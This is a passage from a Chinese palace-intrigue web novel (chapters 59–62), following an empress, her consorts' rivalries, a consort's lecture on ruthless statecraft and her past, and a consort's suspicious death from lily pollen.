白尔又道:“我家主子性子单纯,不谙世事,奴才虽信君后人品,不会故意为难我家主子,却实在担心他嘴拙惹恼了君后。陛下,奴才求您,快去栖梧宫看看吧。” 陆长行召见西门眙? 裴源自不担心陆长行会对西门眙不利,只是三个时辰不放人,确然有些过分。 于是直接扔了手里的书册,起身阔步道:“去瞧瞧。” 紫宸殿与栖梧宫毗邻,即便步行也耗费不了多少功夫,面对凤帝的驾到,宫人似早有预料,却也还是一脸紧张。 推开栖梧宫殿门瞬间,浓烈酒气铺面而来,裴源微微蹙眉,跨步其间,转瞬就入了内殿。一眼瞧见趴在圆桌上的西门眙。 裴源疾步上前:“小眙?醒醒小眙。” 西门眙早已酒醉沉沉睡入,对于凤帝的召唤,几乎没有半分回应。 裴源不禁有些恼火,目光冷然看向君后。 陆长行面颊虽有红晕,但神志尚清,正端坐茶案前镇定自若的饮茶,得见凤帝的注视,柳叶眸轻抬:“陛下如此紧张,是心疼了?” 裴源稍显不满:“你有话要问寻朕便是!何必为难西门眙,他还只是个孩子!” 陆长行高举水壶斟茶,泠泠水声在殿中作响:“可陛下昨晚还说‘不会再单独与臣相见’,臣身为后君,自当以陛下之言克己复礼。” 陆长行端杯在手,侧倚问她:“臣有些糊涂了,若臣想见陛下,陛下是见臣,还是不见臣?” 裴源一时语塞,只气闷道:“君后还真是振振有词。” 说罢,屈身将醉酒的西门眙打横抱起,转身就走。 只是刚入庭院,就听陆长行的声音从身后传来:“淑君酒力不胜,臣还未问,他便醉了。臣明日还会寻他,陛下不会介意的,对嘛?” 裴源步子一顿,缓缓转过身来,一脸愠怒之色看着侧倚门框的陆长行:“什么酒,能醉人三个时辰?” 陆长行淡淡道:“自是臣亲自酿的佳酿,陛下要尝尝吗?” 他言此微微耸肩:“哦,臣又忘了,陛下不会单独与臣相见,陛下金口玉言,臣自当遵从。看来只能明日再麻烦淑君了。” 说完,转身回了内殿。 裴源:“……” 简直岂有此理! 裴源长呼了一口浊气,彼时,御撵早已备好,他将西门眙小心安置后,又仔细叮嘱了乌宛白好生照应,方才又重回了君后的寝宫。 一桌子酒菜顷刻被打扫干净,门窗大敞,疏散了浓烈的酒气。 裴源这才落在茶案前,独自泡了盏茶:“你有什么想问的,便问吧。” 陆长行似也有些醉意,侧倚凭几,神色从容着的看着一脸漠然的女子,漾起嘴角,声响低沉:“可要臣叫个宫侍进来,毕竟,陛下不单独与臣相见。” 陆长行轻叹一声,又道:“可臣所问,又关乎陛下的秘密,不能让外人在场。陛下,您说,这要如何是好?” 裴源:“……” 裴源放下杯盏无奈扶额,她总算知道什么叫搬起石头打自己的脚了。 “真是怕了你了。”裴源摆摆手:“朕收回那句话,可以了吧。” 陆长行笑笑,垂眸看着套在食指上的黑玉扳指:“陛下昨日说,从今往后,但凡臣有所求,只要合乎情理,陛下皆会应允。这话,还作数吧?” 裴源啜饮一口清茶:“自然。” 陆长行闻声看向女子:“那臣要出宫。” 裴源毫不迟疑,看着手心的茶杯道:“可以,朕会派陆萧玉陪你,需要多少银子,去朕的库房取。” “陛下误会了,”陆长行正色道:“既然臣心爱之人已然离世,这后宫与臣而言不过牢笼,而陛下又避臣如蛇蝎,臣再厚颜霸着君后之位已然不妥,故而臣想离开后宫,与陛下,再不相见。” 随着男子的话音落下,殿中陷入了漫长死寂。 凤帝始终端坐其位,凤眸紧紧盯着茶杯,目光未见半分偏移。 不知是在思量君后的话,还是有她自己揣度。 良久,陆长行似等的急了,漠然开口打破沉默:“陛下不说话,臣便当您是同意了。” 凤帝依旧默不作声。 陆长行轻叹一声:“臣虽不舍,但天下无不散之宴席,陛下您说,是这个道理不是?” 裴源眼角微抽,终是淡淡回道:“君后所请,朕已然知晓。容朕稍加思量,再予君回应。夜已深,君后早些睡吧。” 说罢落杯起身,阔步而去。 乌宛白尚未从云梦宫回来,还是计安提着宫灯在宫外静候,一见凤帝气势汹汹而出,于是急忙相迎,但尚未来得及说话,就听凤帝沉声吩咐:“叮嘱禁军,加派人手,务必严防死守神凰门、东应门和西应门,从今以后,朕不允许任何一个后君再行出宫。尤其是君后陆长行!若是谁敢让君后逃离出后宫,朕,必将她千刀万剐!” 计安一头雾水:“啊?” “啊你个头!”裴源勃然大怒,一脚踹在她的屁股上,满脸阴鸷呵道:“马上去办!同时转告内秩署,加派三十宫侍至栖梧宫,每日跟在君后寸步不离,并时时向朕回禀君后动向!细致到他每日喝几杯茶,吃几口饭!听到没有!” 计安满脸惊愕,几乎是小鸡啄米似点头道:“是,是、是、奴婢这就去办,这就去办。” 第60章 第60章晋江文学城 栖梧宫晨会如常,气氛,却透着诡异。 君后左右围站的三十宫侍,各个手持纸笔,观察记录着君后的一言一行。谁见了不是一头雾水? 郭嘉安转换了侧倚的方向,小声问着身侧之人:“这是什么情况?” 庄与之缓缓凑上前去,附耳轻言:“不知道。” 桃花眸闲闲瞥他一眼:“糊弄谁?诸君宫中屁大点事你都知晓。” 丹凤眸懒懒轻抬:“既知道理,便该明白,我,就是单纯不想告诉你。” 郭嘉安:“……” 郭嘉安冷哼一声,勾了勾手指,柴平了然,俯下身上前耳语:“奴才刚刚打听了一番,说昨日淑君被君后招来栖梧宫问话,问了三个时辰不见放人,陛下赶到时,淑君大醉不醒,此举似惹恼了陛下。故而就命人时时盯着君后。” 郭嘉安听着,桃花眼流转,落在了对面西门眙的脸上,身着嫩粉锦袍的少年似乎还在状况外,反而还对那三十宫侍十分好奇,甚至问起了身边的文侧君,到底发生了何事。 柳玉书虽只是侧君,却是左右两君的主心骨,不仅西门眙事事与他商量,下手的韩柏更是事事以他为重。 柳玉书只得端坐,手里捻弄着什么,对于淑君与韩卿君的问话,有一搭没一搭的回应着。 “这西六宫是不是风水不好。”郭嘉安闲闲道:“瞿辰就不说了,周天韵和傅逸春先后因病重紧闭宫门。如今,怎么连个动静都没有了。” 庄与之未应,反倒是上首位置的凰贵君连咳了数声后,轻叹一声:“原以为本宫这身子是最差的,不承想韵侧君与傅侍君这一病,竟是连宫门都不得出了,倒也应了那句:病来如山倒。” 郭嘉安微微蹙眉,转头看向温阳泽道:“你这病因是胎里弱,陛下知道,君后也体恤,便好好在如华宫歇着就好,何必起个大早,费劲折腾?若是累到,又是数日卧床。” 温阳泽闻声笑笑,病气的脸上毫无血 色,因这一笑,却也有了些许神采:“本宫久病缠身,全凭诸多珍稀药材勉强支撑,补品如流水般源源不绝送入如华宫,如此靡费陛下的金银,若再不向陛下与君后请安问好,本宫这心中实难安宁。” 郭嘉安轻叹一声,不再言语。 倒是陆长行听了温阳泽的话,安抚他道:“药材与补品皆是身外之物,又怎及得上凰贵君对陛下的救命之恩?这些话休要再提。算来,你已有五个月未见陛下。今日天朗气清,你既难得走出如华宫,不妨晚些时候也去见见陛下,陛下定然欢喜。” 温阳泽又是一阵轻咳,扶着胸口,转向陆长行笑道:“劳君后帮臣记着,臣也有些好奇,五个月未见,陛下还记不记得后宫有臣这号人。臣厚颜,想邀君后同臣一道给陛下请安,不然,臣真怕陛下将臣赶出凝辉殿。” 陆长行微微一笑,轻声道:“非是本宫不愿。”他微微侧目,扫视身侧侍立的三十位宫人:“陛下昨夜,与本宫因些琐事生了嫌隙,如今陛下最不愿见的,便是本宫。不如请宸贵君陪你去吧。” 郭嘉安端起手边的茶盏,轻轻刮去浮在茶面上的沫子,听闻此言,淡漠道:“臣亦与陛下闹了不快,这几日,实是不想去向陛下请安。” 诸君面面相觑,一时无言。 凰贵君轻笑出声:“你就作吧,阖宫上下,谁不知晓陛下待你的心意?本宫虽闭门不出,可前日陛下亲启丰德库,为你挑了一把破晓弓送去的消息,本宫亦如雷贯耳。这般恩宠,难道还哄不回你的心?” 郭嘉安面色阴沉,冷声道:“入宫三年,臣近日才看透了几分。陛下若真有情谊,何须借外物敷衍?如此大张旗鼓,看似恩宠,实则虚情假意。臣已决定,此后再不迁就陛下。” 庄与之在旁瞥了瞥嘴:“你这意思?难不成还想让陛下跪地求你不成?” 郭嘉安重重落下手中茶盏,叮的一声脆响后,不悦道:“那便是本宫与陛下的阁中情事了,不牢德君费心。说到此处,前日陛下亲临凝霜阁,想来也有宝物亲赐于你,否则,以你过往的脾性,不揶揄陛下几句已是奇景,如今,竟还替陛下说上话了?怎么?陛下前晚将心给你了不成?” 诸君闻言皆笑出声来,庄与之只觉面红耳热,气愤道:“臣乃陛下之君,得圣宠岂不应该?花无千日红,人无白日好,贵君这独一无二的恩宠,也是时候该分一分出来了。” 郭嘉安一脸无所谓道:“早就分了。若论圣宠,如今谁比得上淑君啊?”他下意识将目光落在对面的西门眙脸上:“淑君,这个月侍寝几次了?可有数过啊?” 正在吃瓜的西门眙被问的一愣,而后默默从口中抽出了瓜瓤,眨了眨眼,对诸君道:“若臣说,陛下召臣,只为探讨生命的奥义,诸位哥哥可信?” 郭嘉安冷哼一声,冷眼打量着他:“怀孕生女,的确为创造生命,奥义深浅,则为创造过程。淑君倒是深谙说话艺术,随随便便一句话,便将恩宠侍寝说的这般隐晦,高人呐~” 诸君登时哄堂大笑,只有西门眙被羞的满面涨红,颔首瞬间,双眼泛红。 君后见势,一声呵斥,殿中方才归于静谧。 陆长行气道:“宸贵君如今愈发没个正形,你与陛下闹了不虞,同陛下置气便是,何必与淑君发火?淑君才满十八,哪里懂你说的那些荤话?” 似觉失言,郭嘉安未曾申辩,只是沉沉叹息一声,起身行至西门眙面前,随手取下一枚碧玺戒赛入他的掌心:“哥哥错了,吃了你与陛下的飞醋,所以胡言乱语。小眙莫要同哥哥一般见识,可好?” 西门眙并未抬头,只是颔首应了个‘好’。 郭嘉安愈发自责,却未再言其他,只转身对君后道:“臣乏了,君后若无其他吩咐,臣带淑君先行告退。” 说着,抓起西门眙的手一道退下。 诸位见状,皆起身敛衽,依次退出栖梧宫。 唯凰贵君体弱,留至最后。 见君后摆手,温康忙带诸位宫侍退下,三十宫侍原不想退,却被温康以‘大不敬’言辞呵退。 一时间,殿中仅剩下君后与凰贵君二人。 殿中的静谧被凰贵君的一声轻叹打破:“听闻陛下性情有变,行事多有不周,臣虽早有耳闻,却不想如今竟这般不顾首尾,闹得阖宫不快。” 陆长行敛目沉吟,片刻后才缓缓开口:“她近来……愈发孩子气,行事颇多欠妥,多依着心中所想,不拘小节,不顾后果。” 他默了默,补充又道:“本宫也有错处,陷入情迷而不悟,实在照应不及。想来想去,只能劳动你了。” 温阳泽虽一脸病气,然眉目深邃,眼底似盛着深渊,闻言,轻声道:“平常人,心意尚会更变,更遑论帝王之心。臣也只能尽力一试。” 陆长行点了点头:“凰贵君不必妄自菲薄,你若出马,她定然听的。” 见他笑而不语,陆长行又道:“万寿节将至,本宫也想请凰贵君的人,多多探查各处,免生祸端。” 温阳泽道:“这是自然,君后放心便是。”他默了默,又道:“臣知道君后近来在调查常家,可朝堂之上,阴谋诡谲皆为棋局,胜负皆在帝王一念。” 陆长行指尖一颤,良久平息方才轻言启唇:“纵然母卿的死,为先帝权衡之下的取舍,可本宫还是想求一个真相。” 温阳泽沉吟片刻:“是臣多言了。” 陆长行微微颔首,指尖拨弄着的黑玉扳指:“这么多年,本宫屡屡逼近真相,却总如风沙般,一触即散。如今思量,母卿或许真有本宫未曾察觉的一面,那起军械案,或许真是她所为。” 温阳泽凝视着他掌心的黑戒,下意识地摩挲起金猊戒上的狮子头:“军械案的起因,源于北境百姓的一个流言。有百姓曾在夜间看到蓝色的鬼火,致使百姓不安。故而引起了当地县衙的注意,顺藤摸瓜才发现了那处正在冶炼兵器的山洞。白磷本就燃点低,燃烧时确为蓝色火焰。之所以与工部有关,是因为她们制出了一种防止白磷自燃的陶瓷,至于两起大火都掺入硝石,是因为两者一个引火,一个助燃。” 陆长行蹙眉:“凰贵君想说什么?” 温阳泽沉声道:“臣以为,白磷与硝石,皆为工具而已。世间之人,除却烧火的丫头,无人会留意火候;除却掌勺的厨娘,无人在意灶台里燃的是秸秆还是木材?君后欲追本溯源,本是正道,然数载过去,仍是一无所获,这便足以说明,君后的调查方向已然出了差池。您所要寻觅之人,不该是那掌控火候的丫头,亦不该是那掌勺的厨娘,而是,为何会有这盘菜。是主人想吃?还是有人搅弄口舌,令主人起心动念?亦或是,菜农那日只送来了那一种菜?” 陆长行坐在那里,久久无言。 “世间之事,除去蓄谋已久,亦有无心插柳。纵观军械一案,镇北王的确没有非做的理由;先帝亦非有必除镇北王的必要;可它就是发生了。” 温阳泽言此起身:“君后不妨抛下当前所有探查出的因果,换个角度斟酌,或会迎来柳暗花明的一日。” 温阳泽微一福礼:“臣告退。”【你现在阅读的是 】 60-70 第61章 第61章晋江文学城 散朝回凝辉殿的路上,第一批汇报君后动向的宫侍已正式上岗,从陆长行几时几刻起,到起榻后的一言一行汇报无不详细与疏漏。 平日枯燥的路径,今日竟因宫侍的言辞而变的充盈。 乌宛白偷偷瞥了凤帝几次,嘴角含笑,满面是春,几乎是藏不住的得意,可抵达凝辉殿前,竟是眸色倏然一沉,冷厉开口:“继续盯着,若见他有异动,马上来报!” 宫侍颔首应是,带着一列人,麻溜儿奔回了栖梧宫的方向。 裴源目送队伍远去,心中虽十分雀跃,但还是沉着脸跨入了宫门,打远儿就瞧见凝辉殿门窗大敞,心中觉得奇怪,又行几步,方才瞧见内室窗前端坐一人。 “唉?”乌宛白定睛一看:“是凰贵君。” 凰贵君? 那个身体孱弱,深居简出,把灵芝、人参当饭吃的凰贵君? 裴源仔细端看窗前掠影,此人看起来,竟比陆长行还要消瘦几分,背脊微微佝偻,三伏天,穿的无比厚重,果然病的不轻。 乌宛白见她满眼陌生,颔首轻声提点:“凰贵君名唤温阳泽,自幼弱不经风,入宫后多居如华宫。此人于陛下有救命之恩,故而,得陛下十分敬重。” 救命之恩? 裴源当即对这个素未谋面的凰贵君多了几分尊崇。点了点头道:“朕知道了。” 面对突然出现的凰贵君,裴源的心情仿佛意外发现了一份遗忘未拆的快递,一路心怀好奇的步入内殿,实在想弄清楚,到底什么样的男人,才能担得上她的‘敬重’。 凤帝并未刻意收敛脚步声,所以温阳泽早知凤帝归来,却置身未动,只是静静坐在那里,以目光相迎。 四目相对,裴源瞬间对“羸弱不堪”有了具象化的理解,故而愣在了原地,还是温阳泽率先开口:“刚泡好的白茶,陛下可要尝尝?” 声音柔中带弱,莫说阳刚,竟连阴柔都不及。 裴源仿佛看到一朵脆弱的花,花枝纤细,花瓣轻薄,致使她下意识脚步极轻,甚至连大气都不敢喘,生怕这朵花因她举止带出的风,给吹碎了。 温阳泽见她小心谨慎的模样倒也憨态可掬,故而静静端详的她的眉眼,发觉女子少了记忆里的阴鸷冷酷,相反,多了些和风细雨的纯良。 裴源不知他的心思,只觉得此人身体虽弱,气场却强,哪里强她也言说不明,总归给她一种小学生见到教导主任的惶恐。 而她,是那个小学生。 故而裴源一语不发,只静静等他道明来意。 终于,温阳泽缓声开口:“近来凤鸣卫办事可还得力?” 裴源丈二的和尚摸不着的头脑,但还是点头道:“颇为尽心。” 温阳泽点了点头:“既然尽心,陛下为何要惹宸贵君生气?” 裴源愈发糊涂:“凤鸣卫尽心,与郭嘉安有何关联?” 温阳泽端起手边的姜茶啜饮一口,方才淡淡道:“凤鸣卫三千人,其中两千人为镇北将军的府兵,后同镇北将军家的公子一同抵达京城,目前虽已归顺陛下,但实际归属,仍为郭小公子。因为她们,皆为宸贵君的陪嫁。” 裴源愣在当场,手中的茶杯因倾斜而白茶溢洒,如穿了线的珠子,滴落在了茶案上。水花四溅,又纷纷在锦衣上各自开花。 难怪上次在榷场,凤鸣卫会看懂郭嘉安的手势,并会听他派遣,原以为是侍卫敬他的贵君身份而听从。却不想,小丑竟是她自己…… 见凤帝似已消化了这一事实,温阳泽再次打破沉默:“为保全陛下颜面,宸贵君并未声张此事。陛下担心自己忘了这一茬,于是偷偷将此事告知于臣,命臣在陛下待宸贵君稍有不周时,出言提点。臣听闻,近来陛下待他有些冷漠,亦有些敷衍,故而臣不请自来,还望陛下恕罪。” 裴源默默放下杯盏,目光呆滞,喃喃回道:“有劳凰贵君。” 温阳泽满意点头:“陛下想起来便好。” 他见凤帝似有挫败失落,故而又道:“郭小公子入宫为君,亦有他的条件。陛下曾与他有过约定,各种细则,臣不得而知。臣只知,予他宠任为规则之一。您二位,不过彼此利用的关系,陛下也不必过于自愧弗如。” 裴源缓和了一下神思:“谢谢,有被安慰到。” 温阳泽闻言轻笑一声:“陛下,天下皆是您的,镇北将军亦归你调遣,她的府兵,陛下给她颜面,则姓郭;陛下若不给,便姓裴。所以陛下不必妄自菲薄,自惭形秽。郭嘉安入宫三年,陛下宠了三年,于帝王而言,陛下已是重信重义之人。继续宠,是陛下仁义,若他恃宠而骄失了帝心,也怪不着陛下。” 裴源似不认同,正色道:“话也不能这么说,朕刚登基时一无所有,若无凤鸣卫,恐举步维艰,如今情势好转,断然毁约,岂非过河拆迁之辈?” 温阳泽闻言没什么表情,只是抬袖掩面咳了良久。 裴源一时有些手足无措,只能起身给他抚一抚后脊,终于,咳声减弱。温阳泽本就病态的脸上,看起来更加灰败。 他缓了一下胸口的气,哑声道:“规矩,是用来束缚朝臣与百姓的;陛下是帝王,制定规则的人。何故要将自己锁在牢笼中?” 裴源蹙眉沉吟片刻,重回座位,回他:“若朕猜的没错,凰贵君今日是来给朕上课的,既如此,凰贵君有话直言便是,朕洗耳恭听。” “那臣便直言了。” 温阳泽抚了抚胸口,慢慢启唇,似要将每个字碾碎了,一点一点送进裴源的耳中:“陛下近来处事,多有不周全之处。对奸佞之臣,过于仁慈,会使旁人心存侥幸;对投靠之臣,过于疏远,会令其心生寒意。贡院起火案,对礼部、工部的处罚,仅止于表面,未触及根本;南方洪灾,对涉案官员更是轻拿轻放,难见雷霆手段。如此这般,何以震慑不忠之臣?” 裴源想了想,辩论道:“朕已惩治了涉案官员,其他宵小不过身在其位,不得已听从为之,朕又不是暴君,没必要连坐他人吧?” 温阳泽沉道:“怜悯世人、慈悲渡世,是菩萨的任务;陛下若无决断狠辣之心,这帝王之位,不过徒受朝臣掣肘,永难自主。切莫妄想以仁爱感化,权谋之道,本就是你死我亡。陛下如今与朝臣虚与委蛇,可朝臣所求,从来只有权势与金钱。陛下若一味心慈手软,只会被他人当作可欺之主。” 裴源默默颔首:“朕自知其中道理,但若真要动辄砍杀三族,朕实不忍心。” 温阳泽凝她片刻,深邃的眸光宛若黑洞,盯的裴源颇不自在。 “陛下十五岁便册封王卿之位,可培植亲卫三千人。陛下难道不曾想过,凤鸣卫为何要吸纳他人,而不从王卿府邸提拔?” 裴源愣住。 对啊,原主自己的亲卫呢? 温阳泽端杯饮尽了杯中的姜茶,垂眸为自己又倒了一杯,水声潺潺间,他缓而慢的声音再次打破沉默:“西南宁瑞郡粮仓的那场大火,不仅烧毁了朝廷的救济粮,亦烧毁了先帝对陛下的期许。陛下遭先帝鞭笞后,恰西川边境有敌国来犯,故而,先帝命陛下前往西境边陲,镇压漠莽人。” 裴源回忆起上次石室中头疾引发时,记忆闪回。 原主被居望舒背叛,对方还将受伤的她抛弃在火场独自离去,正是原主的亲卫们舍身相救。 那日的裴源注意力皆在居望舒的身上,竟将那些舍身相护的亲卫视作了背景板。而今仔细回忆,她们每一张脸都如此陌生,裴源并未在凤鸣卫的队伍里看过那些面容。 她们又去了哪里? 温阳泽注视她的眉眼,见女子露出不解之色,继续说道:“那年,陛下亲率全部亲兵抵达西境,并以圣旨在临近西境的驻军中抽调出五万士兵。然而,地方驻军自有领帅杨双文,此人不服陛下,故而参战时极其敷衍,只草草打了一场。虽战役告捷,却死伤了不少士兵。彼时,陛下身边有一幕僚,名唤司空布。司空布建议陛下应以狠辣手段斩杀杨双文,以正军纪,杀一儆百。然,陛下心软,以战场正值用人之际为由,只将杨双文杖责三十,降为千妇长。 此为陛下第一错。 责罚杨双文后,陛下整合军队、收集情报、规划战略,每一步皆无可挑剔。甚至因策略详尽,陛下竟将一直处于低迷的战况扭转,连赢五场战役,大大鼓舞了士气,赢得了军心。 原本一切大好,陛下犯了致命的第二错。 陛下未听 从司空布斩尽战俘的建议,甚至被战俘所惑,一时心生怜悯,最后竟狂妄自大到想劝战俘归降。司空布见自己在陛下身边得不到施展,故而联合杨双文、撺掇战俘假意归降,并在战俘获得自由后,放任其对边境的探查。最终,部分战俘逃回自己的军队,与留在边境中的战俘里应外合。在一个平静的夜晚,他们奇袭而入,对我军大开杀戒!敌方战俘为‘感念’陛下的不杀之恩,将陛下活捉吊在城楼之上。 致使陛下只能眼睁睁看着自己的亲兵、士兵接连惨死在战俘的刀下,却无能为力。那晚的西境血流成河,惨不忍睹。若非陆萧玉携一列亲卫外出接应军饷而获得生机,并将悬挂在城楼的陛下救回,陛下恐亦随众人去了!” 温阳泽言此,重重落下茶杯,咚的一声,将沉溺在想象之境的凤帝唤醒。 裴源全身一缩,下意识望向温阳泽,温阳泽眼眸漆黑深邃,令人偏移不得半分。 “陛下同其他王卿最大的不同,便是无父族倚靠,无先帝爱护。旁人犯错,哭一哭,求一求,大事化小,小事化无,因为她们有根基深后的亲族托底,亦有人在她们做出错误决断时,站出来扭正局面;可陛下一无所有,所以一路走来,脚下是刀山,眼前是火海。没有春风化雨点拨,没有孜孜不倦教诲,更无宽厚臂膀扶助走出深渊;有的只有刀削皮、刀挫骨,步步钝痛砥砺前行,才终于坐上了这至尊之位! 臣以为,您历经那些痛苦,已经记住教训了,缘何如今,又重回了老路?” 第62章 第62章晋江文学城…… 木轮声叩响了长街的静谧,听温阳泽呼吸渐重,席亳加快了步伐,但又恐轮椅颠簸,故而急中有稳。 一路前行,温阳泽耳尖忽而轻动,而后轻言:“东六宫何时多了只老鼠?” 席亳稳步前行,目光未有半分流转,只沉稳道:“都阳夏,去岁入宫的卿君,母亲为柳州都护。从前倒也安生,恐是万寿节将近,近来,总喜欢在半天三更外出觅食,烦人的很。” 温阳泽眼尾微挑:“柳州?” 席亳平静道:“正因来自柳州,故而入了陛下亲眼。奴才猜测,准他入宫,或是陛下送予您解闷的。只可惜此人愚钝,入宫几个月都未曾向凰贵君请安。” 温阳泽轻叹一声:“西六宫如今只剩三位后君,东六宫比之,过于拥挤了。” 席亳颔首应是:“奴才这就去办。” 说着,侧身让了位置给司行,自己则转身前行,没入一处偏门内…… 彼时的凝晖殿静谧异常,自凰贵君走后,凤帝便端坐在茶案前魂不守舍,直至栖梧宫的第二波宫侍过来汇报,乌宛白方才寻了借口步入殿中。 凰贵君多年药不离口,身子早已被药香浸润透了,即便人已告退许久,可药材味经久不消。 乌宛白闻着药味通禀,终将沉溺在过往凤帝唤醒,裴源木然抬首,无力道:“让她们退下吧,不必再盯着君后了。” 乌宛白应了声是,打发了一应宫人,又泡了盏参茶入殿:“陛下,奴婢看您稍欠精神,喝碗参茶养养神吧。” 裴源将茶接在手里,眸光却涣散着,喃喃问道:“乌宛白,你可还记得,朕被漠莽人吊在城楼获救,那之后的事。” 这段过往,一直不愿被凤帝提及念起。 乌宛白小心翼翼看了凤帝一眼,女子虽低落晦暗,神色却未见戾气与阴鸷,这才敢轻声开口:“陛下仁义,不忍斩杀战俘,又遭身边人背叛,导致全军落败惨死、整个西境处于水深火热之中。故而获救后自责悲痛。不但解散了亲兵卫,为了惩罚自己,化身乞丐,每日衣着烂衫。一路流浪,浑浑噩噩,只想就此度过余生。” 大悲大痛,一蹶不振,身上还背了数万条性命,莫说原主,便是她也无颜苟活于世。 裴源追问:“然后呢?” 乌宛白说到此处,没来由眼眶一热,眼底溢出水汽,努力压制心头情绪,缓了缓,又道:“温老太尉温觅,年迈致仕,然其功勋卓著,先帝特赐全禄,虽归养于柳州,但朝中根基深厚。是以,诸多钻营取巧之徒趋之若鹜。那些世家娘子,为了攀附温太尉这颗大树,就把心思用在了凰贵君,也就是当年的温公子身上。 那时,陛下刚好流浪至柳州,有日行乞时,意外听闻柳州刺史之女,准备在温公子的生辰宴上,设计与之苟合,准备来个霸王硬上弓。那时的陛下虽心如死灰,但依旧见不得这类不堪事发生,故而偷偷溜进温府,并在关键时刻救下了凰贵君。事成后,本想一走了之,却被赶来的温太尉认出了身份。 温太尉感激陛下救了凰贵君,于是盛情相邀,陛下难以推辞,便以客卿之身留在温府。可陛下整日闭门不出,醉生梦死,鲜少与人往来。凰贵君便屡屡寻机探望,晓之以情,动之以理,终将陛下万念俱灰的心,一点一点唤醒斗志。最终,陛下持温太尉手令,调柳州精兵八万,举兵西下。不仅成功夺回西川,更深入漠莽地界,一鼓作气,连下五城,打的漠莽人片甲不留,迫其缴械投降。先帝凤心大悦,又将陛下召回京城。” 乌宛白拭去颊边泪痕,嗓音带哽,继续说道:“因温太尉上奏力赞,陛下回京后,深得先帝倚重,却也引得诸王卿忌惮。冷箭阴谋,层出不穷,您脑中之蛊,便是那时种下;陛下一路走来,实属不易,几乎是利刃抵心,方成赢家。” 裴源呆坐良久,默然无语。 难怪原主那般多疑多思,冷心冷肺。历经重重劫难,即便坐上了至尊之位,亦是每日惶恐难安。她的心,怕是早已在那些算计与背叛中,失了对人的信任与判断。 窗外的一声鸟鸣将裴源从沉思中唤醒,她轻声问道:“为何这些……没人来告知朕?” 乌宛白哽咽道:“陛下年少时虽未得先帝垂青,然心性纯良,桀骜不羁。纵遭公主、奴才等出言讥讽,却懂得反抗反击,护己周全。每日逍遥自在,苦中作乐。然西境一役后,陛下性情大变,回京后又屡遭王卿迫害,更让您变得沉默寡言,只将心事深埋心底,苦涩皆独自承受,奴婢看在眼里,疼在心里。如今陛下遗忘那些痛苦,奴婢虽忧,但更多的则是欣慰。因为您,终于又活回了从前的样子。哪里还忍心让您想起那些过往?” 裴源长叹一声:“难怪,人人都看得出朕记忆有失。” 虽未亲眼得见,可她也能想见,如今的自己,与历经磨难、坐上至尊之位的原主,性情相去甚远。 多年陈酿,与新醅初酿,无需人仔细品鉴,仅凭一嗅,便知谁历经了岁月沉淀。 乌宛白正欲开口宽慰凤帝几句,忽闻殿外传来一阵急切脚步声。计安忙上前询问,而后,面色一变,匆匆入殿禀告:“陛下,瑞华宫差人来报,都卿君午后旧疾复发,宫人已传唤太医,还望陛下能亲临探望一二。” 裴源当即起身:“备撵!”说着,阔步踏出凝辉殿,问道:“都卿君身患何种旧疾?” 乌宛白也是一头雾水:“听闻患有桃花不服之症,可如今桃花早已凋零入泥,怎么还能犯病呢?” 裴源眉头微蹙,沉声道:“桃花不服者,多因花粉所致,其余花卉亦会引其发病。伺候宫人应有预料才是,缘何会引起病发?” 说话间,凤帝已坐上御撵,宫人一路疾驰,很快便赶到瑞华宫。 陆长行先到一步,拦住凤帝跪地回禀:“陛下,侍奉粗心,送了百合入殿,致使午歇的都阳夏梦中窒息。待侍奉孙辽发现时,为时已晚。恐追责亲族,故留下陈情书,以三尺白绫自缢,随主去了。” 见凤帝呆愣原地,陆长行缓缓叩首,悲切哽咽:“陛下,人生无常,还望节哀。” 裴源身形微晃,良久,才将这桩事实缓缓消化。她缓步踏入殿内,一眼便瞧见了面容紫绀的都 阳夏,以及吊在殿梁下的孙辽。 清风徐来,洁白的百合清香萦绕,裴源恍惚间忆起了上次宫宴上,都阳夏身姿妖娆,以薄纱轻撩她面颊的情景。 那时的他,分明还鲜活如斯,而今,却僵死于床榻之上,再无半点生气。 裴源再不敢向前,脚步踉跄地转过身,低声对陆长行道:“再行探查,若死因无他,发讣告回……” 乌宛白忙轻声提醒:“都卿君之母,乃柳州都护。” 柳州? 裴源心中一凛,一缕神思在她脑海里一闪而过,然而此时此景,容不得她细想。她定了定神,继续说道:“回柳州。”她沉默片刻,一字一顿道:“都阳夏入宫以来,谨守宫规,温顺恭良,从未生事端,深得朕心怜惜。念其素日品行,特追赠侧君之位,以慰泉下,安息无虞。” 陆长行躬身应:“是。” 死亡气息弥漫,裴源不再久留,脚步虚浮地踏出瑞华宫,诸君亦闻此事纷纷赶来。 郭嘉安见女子面色惨白,没来由的心中一软。分明前几日还因她的“萝卜”二字,而暗暗发誓再不理会凤帝,今日却情不自禁唤住她:“陛下。” 裴源木然转过头,男子眉心朱红,仿若一点猩红的血迹,唤醒了裴源一丝清明。她本不想说话,却还是耐着性子,嗓音低哑道:“南齐今日贡了蜜瓜入宫,朕记得你爱吃,已命人送去了揽月阁。贵君可尝过了?” 郭嘉安先是一愣,旋即凝着她的眉眼,凤眸涣散无光,瞧不出半分情谊,只有循例公事的问候,郭嘉安没来由的心头一沉,而后微微躬身:“脆甜可口,深得臣心,谢陛下惦念。” 裴源又道:“帝王之外,朕也是个人,是人就难免疏漏犯错,那日朕言辞有失,希望贵君勿要记在心上。” 郭嘉安只觉心尖一颤,仿佛什么东西从心底流逝而去,可抬首时却是微微笑颜:“臣并未放在心上,陛下宽心。” 裴源这才松了口气,又叮嘱他:“想要什么,便来寻朕。若朕有,必紧着你。” 郭嘉安点头应好:“万寿节将近,陛下事忙,臣什么都好,陛下不必担忧。” 裴源点点头,伸手拍了拍他的肩后,转身上了御撵。 御驾渐行渐远,郭嘉安却依旧伫立原地,忽闻脚步声临近,竟是头也不回,冷笑开口:“你很得意吧。” 陆长行目光亦始终注目御撵,久未偏移,开口时,语气虽淡然,却透着几分沉重:“有什么好得意的?过往那些诛心之事,若是可以,本宫只愿她一辈子都不要记起。” 郭嘉安转身,桃花眸中带着几分凌厉:“难怪今日凰贵君参加了朝安,原是奉了君后的命。凰贵君出山,陛下即便想不起过往,也必被一番剜心之言,激的痛苦难安。君后如今又是这番言辞,不觉得可笑吗?她如今已是凤帝,天下之主,有老太尉和有我郭家托底!就算是任性一些,又有何惧?你何必要让她记起过往?” 